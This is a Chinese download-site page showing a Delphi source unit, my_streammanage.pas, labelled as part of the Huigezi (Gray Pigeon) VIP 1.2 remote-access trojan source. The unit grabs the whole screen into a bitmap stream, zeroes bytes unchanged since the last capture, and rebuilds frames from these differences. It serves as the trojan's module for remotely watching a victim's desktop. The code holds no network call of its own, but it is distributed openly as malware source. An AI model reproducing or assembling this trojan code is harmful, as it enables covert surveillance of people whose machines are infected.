⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 my_streammanage.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit My_StreamManage;

interface

uses
Windows,Classes,Graphics,Forms,Controls;



procedure My_GetScreenToBmp(DrawCur:Boolean;StreamName:TMemoryStream);
procedure My_CompareStream(MyFirstStream,MySecondStream:TMemorystream);
procedure My_ResumeStream(MyFirstStream,MySecondStream:TMemorystream);




implementation

uses
Main,ShowPic,Lh5Unit;

procedure My_GetScreenToBmp(DrawCur:Boolean;StreamName:TMemoryStream);
var
Mybmp:Tbitmap;
//Cursorx, Cursory: integer;
dc: hdc;
Mycan: Tcanvas;
R: TRect;
//DrawPos: TPoint;
//MyCursor: TIcon;
//hld: hwnd;
//Threadld: dword;
//mp: tpoint;
pIconInfo: TIconInfo;
begin
  Mybmp := Tbitmap.Create; {建立BMPMAP }
  Mycan := TCanvas.Create; {屏幕截取}
  dc := GetWindowDC(0);
  try
    Mycan.Handle := dc;
    R := Rect(0, 0,  Screen.Width,Screen.Height{GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)});
    Mybmp.Width := R.Right;
    Mybmp.Height := R.Bottom;
    Mybmp.Canvas.CopyRect(R, Mycan, R);
  finally
    releaseDC(0, DC);
  end;
  Mycan.Handle := 0;
  Mycan.Free;
{if DrawCur then //画上鼠标图象
begin
  GetCursorPos(DrawPos);
  MyCursor := TIcon.Create;
  getcursorpos(mp);
  hld := WindowFromPoint(mp);
  Threadld := GetWindowThreadProcessId(hld, nil);
  AttachThreadInput(GetCurrentThreadId, Threadld, True);
  MyCursor.Handle := Getcursor();
  AttachThreadInput(GetCurrentThreadId, threadld, False);
  GetIconInfo(Mycursor.Handle, pIconInfo);
  cursorx := DrawPos.x - round(pIconInfo.xHotspot);
  cursory := DrawPos.y - round(pIconInfo.yHotspot);
  Mybmp.Canvas.Draw(cursorx, cursory, MyCursor); //画上鼠标
  DeleteObject(pIconInfo.hbmColor);//GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象
  DeleteObject(pIconInfo.hbmMask);//否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽
  Mycursor.ReleaseHandle; //释放数组内存
  MyCursor.Free;
end;      }
Mybmp.PixelFormat:=pf8bit;  //256色
//Mybmp.SaveToFile(Filename);
Mybmp.SaveToStream(StreamName);
Mybmp.Free;
end;
procedure My_CompareStream(MyFirstStream,MySecondStream:TMemorystream);
var
  I: Integer;
  P1, P2: ^Char;
begin
MySecondStream.Clear;
My_GetScreenToBmp(False,MySecondStream);
//MyFirstStream.Position:=0;MySecondStream.Position:=0;MyCompareStream.Position:=0; //必须
//--------------------------------------------------
  P1 := MyFirstStream.Memory;
  P2 := MySecondStream.Memory;
  for I := 0 to MySecondStream.Size - 1 do
  begin
    if P1^ = P2^ then P2^ := '0';
    Inc(P1);
    Inc(P2);
  end;
//--------------------------------------------------
MyFirstStream.Clear;
MyFirstStream.CopyFrom(MySecondStream,0);
end;
procedure My_ResumeStream(MyFirstStream,MySecondStream:TMemorystream);
var
  I: Integer;
  P1, P2: ^Char;
begin
//MyFirstStream.Position:=0;MySecondStream.Position:=0;MyCompareStream.Position:=0; //必须
//---------------------------------------------
  P1 := MyFirstStream.Memory;
  P2 := MySecondStream.Memory;

  if MySecondStream.Size=MyFirstStream.Size then
  for I := 0 to MySecondStream.Size - 1 do
  begin
    try
      if P2^ = '0' then P2^ := p1^;
      Inc(P1);
      Inc(P2);
    except
      Break;
    end;
  end;
//---------------------------------------------
MyFirstStream.Clear;
MyFirstStream.CopyFrom(MySecondStream,0);
MySecondStream.Position:=0;//必须,否则永远只显示第一幅图像
end;


end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -